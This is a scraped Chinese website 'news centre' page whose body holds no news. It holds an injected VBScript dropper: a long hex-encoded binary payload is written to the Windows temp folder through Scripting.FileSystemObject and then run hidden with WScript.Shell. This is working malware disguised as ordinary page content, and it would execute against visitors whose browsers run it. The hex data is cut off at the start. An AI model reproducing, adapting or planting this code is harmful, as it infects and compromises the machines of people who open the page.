>
新闻中心
您现在的位置:主页 > 新闻中心 >
10FBEF318FE8D3430E8BCFCFFFF8D4C24406A05568941F48751F080F3008F41EC8F8521FDFFFFE89EFCFFFFC368B18BD87F86CCE828FDFFFFB23E86ED560F92C51DB4A65D2281E7C12D7FF1648B153000000029FF85D20F8889FCFFFF498B520C53F88B5A1CF7D76A018B5B0868BD4943AFE8EAFCFFFF908BD4E957FCFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //-->